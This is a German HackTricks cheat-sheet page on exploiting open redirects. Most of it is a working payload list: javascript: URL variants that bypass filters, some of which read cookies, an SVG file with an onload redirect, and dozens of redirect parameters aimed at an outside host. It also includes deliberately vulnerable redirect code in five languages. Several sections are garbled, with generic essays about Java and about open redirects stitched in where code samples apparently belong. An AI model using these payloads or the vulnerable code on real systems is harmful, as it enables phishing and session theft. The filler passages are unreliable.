15 KiB
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.
Offene Weiterleitung
Weiterleitung zu localhost oder beliebigen Domains
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}
Offene Weiterleitung zu XSS
#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)
#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)
#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)
#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0
#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
Offene Weiterleitung beim Hochladen von SVG-Dateien
Ein Open Redirect ist eine Sicherheitslücke, die es einem Angreifer ermöglicht, einen Benutzer von einer vertrauenswürdigen Website auf eine bösartige Website umzuleiten. Diese Schwachstelle tritt häufig auf, wenn eine Anwendung Benutzereingaben nicht ausreichend überprüft und validiert.
Beim Hochladen von SVG-Dateien besteht die Möglichkeit, dass ein Angreifer eine Open-Redirect-Schwachstelle ausnutzt. Dies geschieht, indem der Angreifer eine SVG-Datei mit einem speziell konstruierten Link hochlädt, der auf eine bösartige Website verweist.
Um diese Schwachstelle zu beheben, sollten Entwickler sicherstellen, dass alle Benutzereingaben ordnungsgemäß validiert und bereinigt werden, insbesondere beim Hochladen von Dateien. Es ist wichtig, alle eingehenden Links zu überprüfen und sicherzustellen, dass sie nur auf vertrauenswürdige interne Seiten verweisen.
Darüber hinaus sollten Sicherheitsmechanismen wie Content Security Policy (CSP) implementiert werden, um das Risiko von Open-Redirect-Angriffen weiter zu verringern. CSP ermöglicht es Entwicklern, festzulegen, von welchen Quellen Ressourcen geladen werden dürfen, und kann so das Risiko von Weiterleitungen auf bösartige Websites reduzieren.
Es ist wichtig, dass Entwickler sich der potenziellen Risiken von Open-Redirect-Schwachstellen bewusst sind und entsprechende Sicherheitsmaßnahmen ergreifen, um ihre Anwendungen zu schützen.
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>
Häufige Injektionsparameter
In Webanwendungen gibt es bestimmte Parameter, die oft von Angreifern ausgenutzt werden, um Injektionsangriffe durchzuführen. Hier sind einige der häufigsten Injektionsparameter:
- URL-Parameter: Dies sind die Parameter, die in der URL einer Webseite enthalten sind. Angreifer können versuchen, schädlichen Code in diese Parameter einzufügen, um die Anwendung zu kompromittieren.
- Formularparameter: Wenn eine Webseite ein Formular enthält, können Angreifer versuchen, schädlichen Code in die Formularfelder einzufügen, um die Anwendung zu manipulieren.
- Cookie-Parameter: Cookies werden verwendet, um Informationen über den Benutzer zu speichern. Angreifer können versuchen, schädlichen Code in die Cookie-Parameter einzufügen, um die Anwendung zu beeinflussen.
- Header-Parameter: Header-Parameter enthalten Informationen über die Anfrage oder die Antwort. Angreifer können versuchen, schädlichen Code in diese Parameter einzufügen, um die Anwendung zu kompromittieren.
- Datenbankparameter: Wenn eine Anwendung eine Datenbank verwendet, können Angreifer versuchen, schädlichen Code in die Datenbankparameter einzufügen, um auf vertrauliche Informationen zuzugreifen oder die Datenbank zu manipulieren.
Es ist wichtig, diese häufigen Injektionsparameter zu kennen und geeignete Sicherheitsmaßnahmen zu ergreifen, um Injektionsangriffe zu verhindern.
/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io
using System;
using System.Web;
namespace OpenRedirect
{
public partial class Redirect : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
string redirectUrl = Request.QueryString["url"];
if (!string.IsNullOrEmpty(redirectUrl))
{
Response.Redirect(redirectUrl);
}
}
}
}
Java
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class RedirectServlet extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
String redirectUrl = request.getParameter("url");
if (redirectUrl != null && !redirectUrl.isEmpty()) {
response.sendRedirect(redirectUrl);
}
}
}
PHP
<?php
if (isset($_GET['url'])) {
$redirectUrl = $_GET['url'];
header("Location: $redirectUrl");
exit();
}
?>
Python
from flask import Flask, redirect, request
app = Flask(__name__)
@app.route('/redirect')
def redirect_url():
redirect_url = request.args.get('url')
if redirect_url:
return redirect(redirect_url)
else:
return 'No redirect URL provided.'
if __name__ == '__main__':
app.run()
Ruby
require 'sinatra'
get '/redirect' do
redirect_url = params[:url]
if redirect_url
redirect redirect_url
else
'No redirect URL provided.'
end
end
response.redirect("~/mysafe-subdomain/login.aspx")
Java
Java ist eine objektorientierte Programmiersprache, die weit verbreitet ist und für die Entwicklung von plattformunabhängigen Anwendungen verwendet wird. Sie wurde von Sun Microsystems entwickelt und später von Oracle übernommen. Java-Code wird in Bytecode kompiliert, der von der Java Virtual Machine (JVM) ausgeführt wird. Dies ermöglicht es, Java-Anwendungen auf verschiedenen Betriebssystemen auszuführen, ohne den Code neu zu schreiben.
Java bietet eine Vielzahl von Funktionen und Bibliotheken, die die Entwicklung von robusten und sicheren Anwendungen erleichtern. Es unterstützt auch die Verwendung von Threads, um parallele und nebenläufige Programmierung zu ermöglichen. Java-Anwendungen können in verschiedenen Bereichen eingesetzt werden, wie z.B. Webentwicklung, mobile Anwendungen, Big Data und maschinelles Lernen.
Die Sicherheit von Java-Anwendungen ist ein wichtiger Aspekt, da sie anfällig für verschiedene Arten von Angriffen sein können. Es ist wichtig, bewährte Sicherheitspraktiken zu befolgen, um potenzielle Schwachstellen zu vermeiden. Dazu gehören das Vermeiden von unsicherem Code, das Aktualisieren von Bibliotheken und Frameworks, das Implementieren von Zugriffskontrollen und das Durchführen von Penetrationstests, um potenzielle Schwachstellen zu identifizieren und zu beheben.
response.redirect("http://mysafedomain.com");
PHP
Offene Weiterleitung (Open Redirect)
Eine offene Weiterleitung tritt auf, wenn eine Webanwendung den Benutzer auf eine andere Seite weiterleitet, ohne die Ziel-URL ordnungsgemäß zu validieren. Dies kann von Angreifern ausgenutzt werden, um Benutzer auf bösartige Websites umzuleiten und Phishing-Angriffe durchzuführen.
Ausnutzung einer offenen Weiterleitung
Um eine offene Weiterleitung auszunutzen, muss der Angreifer die URL der Webanwendung manipulieren, um eine bösartige Ziel-URL einzufügen. Dies kann durch Hinzufügen von Parametern zur URL oder durch Ändern des Werts eines vorhandenen Parameters erfolgen.
Beispiel:
https://example.com/redirect.php?url=https://malicious-website.com
In diesem Beispiel wird der Parameter url
verwendet, um die Ziel-URL anzugeben. Der Angreifer kann den Wert dieses Parameters ändern, um eine bösartige Website einzufügen.
Auswirkungen einer offenen Weiterleitung
Die Auswirkungen einer offenen Weiterleitung können je nach Art des Angriffs variieren. Ein Angreifer kann die offene Weiterleitung nutzen, um Benutzer auf Phishing-Websites umzuleiten, auf denen sie vertrauliche Informationen wie Benutzernamen, Passwörter oder Kreditkartendaten preisgeben können. Darüber hinaus kann ein Angreifer die offene Weiterleitung verwenden, um bösartigen Code einzufügen und die Kontrolle über das System des Benutzers zu übernehmen.
Schutzmaßnahmen
Um offene Weiterleitungen zu verhindern, sollten Webanwendungen die Ziel-URL ordnungsgemäß validieren und nur auf vertrauenswürdige Websites weiterleiten. Es ist wichtig, Eingaben von Benutzern zu überprüfen und sicherzustellen, dass sie den erwarteten Format- und Inhaltseinschränkungen entsprechen.
Darüber hinaus sollten Entwickler Whitelists verwenden, um die erlaubten Weiterleitungsziele einzuschränken und Blacklists zu vermeiden, da diese weniger effektiv sind und leicht umgangen werden können.
Zusammenfassung
Offene Weiterleitungen sind eine Sicherheitslücke, bei der eine Webanwendung den Benutzer auf eine andere Seite weiterleitet, ohne die Ziel-URL ordnungsgemäß zu validieren. Angreifer können diese Schwachstelle ausnutzen, um Benutzer auf bösartige Websites umzuleiten und Phishing-Angriffe durchzuführen. Webanwendungen sollten die Ziel-URL ordnungsgemäß validieren und nur auf vertrauenswürdige Websites weiterleiten, um offene Weiterleitungen zu verhindern.
<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>
Werkzeuge
Ressourcen
- In https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect finden Sie Fuzzing-Listen.
- https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html
- https://github.com/cujanovic/Open-Redirect-Payloads
- https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.